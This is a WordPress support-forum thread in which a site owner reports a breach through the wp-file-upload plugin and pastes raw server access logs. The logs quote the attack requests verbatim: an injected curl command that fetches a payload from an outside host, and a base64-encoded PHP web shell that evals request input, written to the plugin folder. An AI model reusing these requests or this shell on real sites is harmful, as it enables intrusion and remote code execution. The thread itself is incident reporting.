I think this plugin has a security hole

Bradley Smith
(@mobilebsmith)

1 year, 1 month ago

Recently my website was hacked into I believe via this plugin. I have emailed the developer with no response. Below are 2 lines, from an IP address. This address has never been on my site before, didn’t log into the website, yet it appears it uploaded files. One of the files, the web browser said was a virus. The database wasn’t hacked, it was just a couple of files. I have deleted the plugin because of this.

-brad

78.153.136.174 http://www.eawhoa.com – [08/Jan/2025:18:26:53 -0500] “GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1” 200 7 “-” “Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.2; Win64; x64; Trident/4.0)”
78.153.136.174 http://www.eawhoa.com – [08/Jan/2025:18:26:55 -0500] “POST /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1” 200 9 “https://www.eawhoa.com/wp-content/plugins/wp-file-upload/015a53bd738f.php” “Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.2; Win64; x64; Trident/4.0)”
78.153.136.174 http://www.eawhoa.com – [08/Jan/2025:18:34:32 -0500] “GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1” 200 7 “-” “Mozilla/5.0 (Windows NT 6.1; rv:46.0) Gecko/20100101 Firefox/46.0”
78.153.136.174 http://www.eawhoa.com – [08/Jan/2025:18:34:32 -0500] “POST /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1” 200 55 “https://www.eawhoa.com/wp-content/plugins/wp-file-upload/015a53bd738f.php” “Mozilla/5.0 (Windows NT 6.1; rv:46.0) Gecko/20100101 Firefox/46.0”
78.153.136.174 http://www.eawhoa.com – [08/Jan/2025:18:41:26 -0500] “POST /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1” 200 17 “-” “Mozilla/5.0 (X11; Linux i686; rv:46.0) Gecko/20100101 Firefox/46.0”
78.153.136.174 http://www.eawhoa.com – [08/Jan/2025:18:44:52 -0500] “POST /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1” 200 9 “https://www.eawhoa.com/wp-content/plugins/wp-file-upload/015a53bd738f.php” “Mozilla/5.0 (X11; Linux i686; rv:46.0) Gecko/20100101 Firefox/46.0”
78.153.136.174 http://www.eawhoa.com – [08/Jan/2025:18:52:36 -0500] “GET /6be0e/9cf9a.php HTTP/1.1” 404 277 “https://www.eawhoa.com/wp-content/plugins/wp-file-upload/015a53bd738f.php” “Mozilla/5.0 (X11; Linux i686; rv:46.0) Gecko/20100101 Firefox/46.0”
78.153.136.174 http://www.eawhoa.com – [08/Jan/2025:22:16:05 -0500] “POST /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1” 403 280 “-” “Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2729.2 Safari/537.36”
78.153.136.174 http://www.eawhoa.com – [08/Jan/2025:22:20:29 -0500] “POST /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1” 403 280 “-” “Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2650.27 Safari/537.36”

Viewing 7 replies - 1 through 7 (of 7 total)

Plugin Author

(@nickboss)

Good morning, I just checked the plugin. I do not see a file 015a53bd738f.php in its contents. So it somehow got in there.

Have you configured an upload form? If yes, can you send me the shortcode?

Nickolas

Thread Starter

Bradley Smith

(@mobilebsmith)

1 year, 1 month ago

Okay so above is the contents of the file 015a53bd738f.php, which was uploaded to the site by the hacker. The log files, at least to me, show that the files was uploaded via your plugin. The ip address was never used before and there has not been any logins from that ip address. I have 4 uploads (to 4 different folders) here is one of the shortcodes from your settings page: [wordpress_file_upload uploadpath=”uploads/Internal-Documents/FinancialStatments/”]

on the settings page nothing is checked and the default values are filled in. I feel I have a very basic usage nothing special.

My first try was to just do a .htaccess to restrict the files, but the site was hit twice, so I deleted the plugin off my site, so I don’t have anything from it other than the files and the http logs. At this point in time, I am not putting the plugin back onto the site, and plan on doing something different. Your plugin was very useful, but I don’t trust it any more.

If you do figure something out, I might take a look at it then.

Thread Starter

Bradley Smith

(@mobilebsmith)

1 year, 1 month ago

Here are all the log entries that have that php file name in it.

access_log.01-08.txt:109.237.99.63 www.eawhoa.com - [08/Jan/2025:01:02:30 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-o%20015a53bd738f.php HTTP/1.1" 500 130 "https://www.eawhoa.com/" "Mozilla/5.0 (X11; Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2845.33 Safari/537.36"
access_log.01-08.txt:109.237.99.63 www.eawhoa.com - [08/Jan/2025:01:02:32 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 200 7 "https://www.eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-o%20015a53bd738f.php" "Mozilla/5.0 (X11; Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2845.33 Safari/537.36"
access_log.01-08.txt:109.237.99.63 www.eawhoa.com - [08/Jan/2025:05:13:45 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-o%20015a53bd738f.php HTTP/1.1" 500 130 "https://www.eawhoa.com/" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident/6.0)"
access_log.01-08.txt:109.237.99.63 www.eawhoa.com - [08/Jan/2025:05:13:46 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 200 7 "https://www.eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-o%20015a53bd738f.php" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Trident/6.0)"
access_log.01-08.txt:109.237.99.63 www.eawhoa.com - [08/Jan/2025:09:14:54 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-o%20015a53bd738f.php HTTP/1.1" 500 130 "https://www.eawhoa.com/" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
access_log.01-08.txt:109.237.99.63 www.eawhoa.com - [08/Jan/2025:09:14:56 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 200 7 "https://www.eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-o%20015a53bd738f.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
access_log.01-08.txt:109.237.99.63 www.eawhoa.com - [08/Jan/2025:13:16:19 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-o%20015a53bd738f.php HTTP/1.1" 500 130 "https://www.eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:47.0) Gecko/20100101 Firefox/47.0"
access_log.01-08.txt:109.237.99.63 www.eawhoa.com - [08/Jan/2025:13:16:36 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 200 7 "https://www.eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-o%20015a53bd738f.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:47.0) Gecko/20100101 Firefox/47.0"
access_log.01-08.txt:109.237.99.63 www.eawhoa.com - [08/Jan/2025:17:08:37 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-o%20015a53bd738f.php HTTP/1.1" 500 130 "https://www.eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce" "Mozilla/5.0 (Windows NT 5.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2680.41 Safari/537.36"
access_log.01-08.txt:87.251.77.180 www.eawhoa.com - [08/Jan/2025:17:42:37 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B HTTP/1.1" 500 146 "https://www.eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:50.0) Gecko/20100101 Firefox/50.0"
access_log.01-08.txt:87.251.77.180 www.eawhoa.com - [08/Jan/2025:17:42:38 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 200 7 "https://www.eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:50.0) Gecko/20100101 Firefox/50.0"
access_log.01-08.txt:78.153.136.174 www.eawhoa.com - [08/Jan/2025:18:26:53 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 200 7 "-" "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.2; Win64; x64; Trident/4.0)"
access_log.01-08.txt:78.153.136.174 www.eawhoa.com - [08/Jan/2025:18:26:55 -0500] "POST /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 200 9 "https://www.eawhoa.com/wp-content/plugins/wp-file-upload/015a53bd738f.php" "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.2; Win64; x64; Trident/4.0)"
access_log.01-08.txt:78.153.136.174 www.eawhoa.com - [08/Jan/2025:18:34:32 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 200 7 "-" "Mozilla/5.0 (Windows NT 6.1; rv:46.0) Gecko/20100101 Firefox/46.0"
access_log.01-08.txt:78.153.136.174 www.eawhoa.com - [08/Jan/2025:18:34:32 -0500] "POST /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 200 55 "https://www.eawhoa.com/wp-content/plugins/wp-file-upload/015a53bd738f.php" "Mozilla/5.0 (Windows NT 6.1; rv:46.0) Gecko/20100101 Firefox/46.0"
access_log.01-08.txt:78.153.136.174 www.eawhoa.com - [08/Jan/2025:18:41:26 -0500] "POST /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 200 17 "-" "Mozilla/5.0 (X11; Linux i686; rv:46.0) Gecko/20100101 Firefox/46.0"
access_log.01-08.txt:78.153.136.174 www.eawhoa.com - [08/Jan/2025:18:44:52 -0500] "POST /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 200 9 "https://www.eawhoa.com/wp-content/plugins/wp-file-upload/015a53bd738f.php" "Mozilla/5.0 (X11; Linux i686; rv:46.0) Gecko/20100101 Firefox/46.0"
access_log.01-08.txt:78.153.136.174 www.eawhoa.com - [08/Jan/2025:18:52:36 -0500] "GET /6be0e/9cf9a.php HTTP/1.1" 404 277 "https://www.eawhoa.com/wp-content/plugins/wp-file-upload/015a53bd738f.php" "Mozilla/5.0 (X11; Linux i686; rv:46.0) Gecko/20100101 Firefox/46.0"
access_log.01-08.txt:109.237.99.63 www.eawhoa.com - [08/Jan/2025:19:02:51 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-o%20015a53bd738f.php HTTP/1.1" 500 130 "https://www.eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2766.71 Safari/537.36"
access_log.01-08.txt:109.237.99.63 www.eawhoa.com - [08/Jan/2025:19:03:10 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 200 7 "https://www.eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-o%20015a53bd738f.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2766.71 Safari/537.36"
access_log.01-08.txt:87.251.77.180 www.eawhoa.com - [08/Jan/2025:19:37:27 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B HTTP/1.1" 500 146 "https://www.eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (X11; Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2665.26 Safari/537.36"
access_log.01-08.txt:87.251.77.180 www.eawhoa.com - [08/Jan/2025:19:37:27 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 200 7 "https://www.eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B" "Mozilla/5.0 (X11; Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2665.26 Safari/537.36"
access_log.01-08.txt:87.251.77.180 www.eawhoa.com - [08/Jan/2025:20:59:27 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-o%20015a53bd738f.php HTTP/1.1" 500 130 "https://www.eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce" "Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2692.64 Safari/537.36"
access_log.01-08.txt:87.251.77.180 www.eawhoa.com - [08/Jan/2025:20:59:29 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 200 7 "https://www.eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-o%20015a53bd738f.php" "Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2692.64 Safari/537.36"
access_log.01-08.txt:109.237.99.63 www.eawhoa.com - [08/Jan/2025:21:34:15 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9" "Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2681.63 Safari/537.36"
access_log.01-08.txt:109.237.99.63 www.eawhoa.com - [08/Jan/2025:21:34:15 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=p&ticket=H&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_9&4=file_put_contents%28%22015a53bd738f.php%22%2Cbase64_decode%28%22PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFWyJkIl0pPT0iXDYxXHgzN1w2MFw2Mlx4MzhcMTQ2XHgzNFw3MFw2N1wxNDNcMTQyXHgzMlwxNDFcNzBceDM0XHgzNlx4MzBcNjdceDM2XDY0XHgzNlx4NjRcMTQxXDYzXDE0MVwxNDRcNjNcNzBcNjdceDM4XDE0NVwxNDMiKXtlY2hvIlx4NmZceDZiIjtldmFsKGJhc2U2NF9kZWNvZGUoJF9SRVFVRVNUWyJpZCJdKSk7aWYoJF9QT1NUWyJcMTY1XDE2MCJdPT0iXDE2NVx4NzAiKXtAY29weSgkX0ZJTEVTWyJceDY2XDE1MVx4NmNceDY1Il1bIlwxNjRcMTU1XHg3MFx4NWZceDZlXHg2MVx4NmRceDY1Il0sJF9GSUxFU1siXDE0Nlx4NjlcMTU0XHg2NSJdWyJcMTU2XDE0MVwxNTVceDY1Il0pO319Pz4K%22%29%29%3B" "Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2681.63 Safari/537.36"
access_log.01-08.txt:78.153.136.174 www.eawhoa.com - [08/Jan/2025:22:16:05 -0500] "POST /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2729.2 Safari/537.36"
access_log.01-08.txt:78.153.136.174 www.eawhoa.com - [08/Jan/2025:22:20:29 -0500] "POST /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2650.27 Safari/537.36"
access_log.01-08.txt:87.251.77.180 www.eawhoa.com - [08/Jan/2025:22:57:01 -0500] "GET /wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-o%20015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2637.56 Safari/537.36"
access_log.01-08.txt:87.251.77.180 www.eawhoa.com - [08/Jan/2025:22:57:01 -0500] "GET /wp-content/plugins/wp-file-upload/015a53bd738f.php HTTP/1.1" 403 280 "https://eawhoa.com/wp-content/plugins/wp-file-upload/wfu_file_downloader.php?file=pQ1DyzbQp5hBxQpW&ticket=Hw8h7dBmxROx27ZZ&handler=dboption&session_legacy=1&dboption_base=cookies&dboption_useold=0&wfu_cookie=wp_wpfileupload_939a4dc9e3d96a97c2dd1bdcbeab52ce&0=curl%20http%3A//looklong.com/accesson20.html%20-o%20015a53bd738f.php" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2637.56 Safari/537.36"
